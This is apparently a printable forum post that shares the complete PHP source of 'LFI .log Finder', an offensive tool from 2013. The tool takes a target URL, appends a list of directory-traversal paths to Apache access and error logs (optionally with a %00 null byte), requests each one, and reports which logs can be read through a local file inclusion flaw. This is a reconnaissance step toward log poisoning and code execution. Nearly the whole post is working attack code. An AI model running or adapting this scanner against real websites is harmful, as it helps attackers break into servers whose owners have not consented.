LFI .log Finder (+ Source PHP) - Version imprimable

Code PHP :
<?php
/****************************/
/* Tools coded by Hypnoze57 */
/****************************/

$array = array(
'../logs/access.log',
'../logs/access_log',
'../logs/error.log',
'../logs/error_log',
'../apache/logs/error.log',
'../apache/logs/access.log',
'../../apache/logs/error.log',
'../../apache/logs/access.log',
'../../../apache/logs/error.log',
'../../../apache/logs/access.log',
'../../../../../../../etc/httpd/logs/acces_log',
'../../../../../../../etc/httpd/logs/acces.log',
'../../../../../../../etc/httpd/logs/error_log',
'../../../../../../../etc/httpd/logs/error.log',
'../../../../../../../var/www/logs/access_log',
'../../../../../../../var/www/logs/access.log',
'../../../../../../../usr/local/apache/logs/access_log',
'../../../../../../../usr/local/apache/logs/access.log',
'../../../../../../../var/log/apache/access_log',
'../../../../../../../var/log/apache2/access_log',
'../../../../../../../var/log/apache/access.log',
'../../../../../../../var/log/apache2/access.log',
'../../../../../../../var/log/access_log',
'../../../../../../../var/log/access.log',
'../../../../../../../var/www/logs/error_log',
'../../../../../../../var/www/logs/error.log',
'../../../../../../../usr/local/apache/logs/error_log',
'../../../../../../../usr/local/apache/logs/error.log',
'../../../../../../../var/log/apache/error_log',
'../../../../../../../var/log/apache2/error_log',
'../../../../../../../var/log/apache/error.log',
'../../../../../../../var/log/apache2/error.log',
'../../../../../../../var/log/error_log',
'../../../../../../../var/log/error.log');
?>
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8" />
        <link rel="stylesheet" href="style.css" />
        <link rel="shortcut icon" href="icon.png">
        <title>LFI .log Finder</title>
    </head>
    <header>
    <center>
    <PRE>
  _     _____ ___     _               _____ _           _           
 | |   |  ___|_ _|   | | ___   __ _  |  ___(_)_ __   __| | ___ _ __ 
 | |   | |_   | |    | |/ _ \ / _` | | |_  | | '_ \ / _` |/ _ \ '__|
 | |___|  _|  | |   _| | (_) | (_| | |  _| | | | | | (_| |  __/ |   
 |_____|_|   |___| (_)_|\___/ \__, | |_|   |_|_| |_|\__,_|\___|_|   
                              |___/                                 
    </PRE>
    </center>
    </header>
    <body>
    <form action="" method="post">
    URL: <input type="text" name="url" size="50" placeholder="http://site.com/page.php?page=" /><br />
    Null Byte (%00): <input type="checkbox" name="nullbyte" value="true"><br />
    <input type="submit" value="Search!" />
    </form>
<?php
if(isset($_POST['url']) && !empty($_POST['url']) && !is_array($_POST['url'])) {
    $poison = false;
    if(isset($_POST['nullbyte'])) $poison = true;
    $url = urldecode(htmlentities($_POST['url'], ENT_QUOTES));
    $nb = count($array) - 1;
    echo '<ul>';
    for($i=0;$i<=$nb;$i++) {
        $lien = $url.$array[$i]; if($poison == true) { $lien .= '%00'; }
        $pg = file_get_contents($lien);
        if(preg_match('#Warning: include|<b>Warning</b>:  include|Warning:  include|<b>Warning:</b> include#', $pg)) {
            echo '<li><a href="'.$lien.'">'.$lien.'</a></li> <font color="red">[#]Not found!</font>';
        } else {
            echo '<li><a class="green" href="'.$lien.'">'.$lien.'</a></li> <font color="orange">[~] Found!</font>';
        }
    }
    echo '</ul>';
}
?>
    </body>
<footer>
    <center><br /><br />&copy; 2013 Hypnoze57</center>
</footer>
</html>